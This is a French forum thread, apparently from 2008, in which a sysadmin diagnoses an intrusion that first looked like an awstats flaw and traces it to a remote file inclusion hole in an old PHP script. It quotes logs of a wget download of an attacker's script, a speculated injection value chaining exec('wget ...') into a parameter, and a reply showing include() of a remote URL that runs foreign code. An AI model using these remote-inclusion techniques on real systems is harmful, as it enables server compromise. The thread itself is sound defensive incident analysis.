[resolu] intrusion, awstats sarge

Ci dessous la copie d’un message que j’ai fait sur la DUF: Si quelqu’uin a des idées…

A 14h, j’ai eu la surprise de voir un de mes serveur ecroulé (load average à
80), un top très péniblement effectué juste avant les messages

May 27 14:37:55 yoda kernel: VM: killing process perl
May 27 14:39:11 yoda last message repeated 2 times
May 27 14:39:11 yoda last message repeated 4 times
May 27 14:39:11 yoda kernel: Unable to load interpreter /lib/ld-linux.so.2
May 27 14:39:11 yoda last message repeated 8 times
May 27 14:39:46 yoda out of memory [28659out of ]
May 27 14:39:11 yoda kernel: Unable to load interpreter /lib/ld-linux.so.2
[…]

m’a permis de voir un quantité importante d’apache et surtout un certain nombre
de perl exécutant awstats.pl. Un coup d’oeil dans les logs error.log m’a montré

[Tue May 27 13:36:25 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/viewtopic.php
[Tue May 27 13:38:09 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/viewtopic.php
[Tue May 27 13:42:13 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/profile.php
[Tue May 27 13:43:38 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/posting.php
–13:47:11-- ggfirm.com:80/s.txt
=> `s.txt’
Connecting to ggfirm.com:80…. connected!
HTTP request sent, awaiting response… 200 OK
Length: 112,253 [text/plain]

0K -> .......... .......... .......... .......... .......... [ 45%]

50K -> … … … … … [ 91%]
100K -> … [100%]

13:47:12 (103.81 KB/s) - `s.txt’ saved [112253/112253]

[Tue May 27 13:47:22 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/privmsg.php
mocks: no process killed
Invalid argument: stop
Missing or bad configuration file.
Invalid argument: stop
mocks: no process killed
[Tue May 27 13:50:54 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/posting.php

phpBB2 n’existe plus depuis au moins deux ans sur ce serveur et il ne faut pas s’arrêter
à ça, par contre on voit bien qu’un script a été détourné. Bon, visiblement ça n’a pas marché
et l’intégrité du serveur est conservé (surveillance md5sum), j’ai neutralisé awstats.

Mais ce qui m’étonnes est que j’ai la version 6.4-1sarge3 sur cette machine et cet awstats était
à jour (awstats_6.4-1sarge3) pour sarge. Y-a-t-il une faille sur cette version de awstats? J’avoue
que je suis perplexe. Le serveur est sous haute surveillance bien entendu.

Quelqu’un a-t-il eu echo d’une histoire analogue?

Bon, j’ai par comprendre et awstats est innocent.

La situation: Une personne arrivait à éxécuter un script perl sous www-data donc pas l’intermédiaire d’apache. La machine initialement sous woody a été tout d’abord mise à jour puis complètement nettoyée et vérifiée (je ne pouvais pas me permettre de la réinstaller, étant donné qu’elle était en usage permanent et intense).
Toujours fidèle à mon principe «une machine n’est jamais étanche, il faut donc bétonner la surveillance», je me suis rapidement aperçu que le problème continuait. Le gars a pu reéxécuter une nouvelle fois le script perl.

Une étude approfondie des logs m’a permis d’être sur que le problème venait du serveur et d’Apache. J’ai fini par conserver un log de toutes les requêtes Apache. Ça m’a permis de constater que le coupable est un bête script PHP conçu par un élève sous PHP3 il y a longtemps (>6 ans) (script que j’aurais du vérifier mais bon…), il a fait deux erreurs:

  1. Un include d’un fichier d’extension .inc, fichier lisible par ailleurs

  2. Ce fichier contenant une fonction pouvant faire une erreur:

une requête /script.php?nom=bidondenimportequoi

affichait à l’écran le nom du fichier .inc. La personne pouvait alors charger le fichier .inc et l’étudier.

Elle était alors dans la possibilité de faire la fonction PHP
include($nom.htm);
avec $nom comme elle le voulait.Je pense qu’il est alors possible de charger un document extérieur, peut être en donnant une valeur “plop.htm;exec('wget site/script.php’)” à $nom.

Conclusion:

  • Un script PHP de 50 lignes présent sans souci depuis 6 ans peut avoir une faille béante et révéler sa faille au bout de ces 6 ans.
  • Avant d’incriminer awstats, il faut d’abord vérifier ses propres scripts. Tracer les requêtes apache est la meilleure solution à mon avis. En effet j’aurais pu réinstaller complètement le serveur, cela n’aurait rien changer…

M’a fait perdre du temps cette cochonnerie.

Au fait quelqu’un sait-il ce qu’est «mocks»???

Jolie investigation !

En fait un simple
include(“http://labas.fr/script.txt”);
charge le script et l’éxécute. Donc effectivement il a eu la partie belle après.

mocks est un Proxy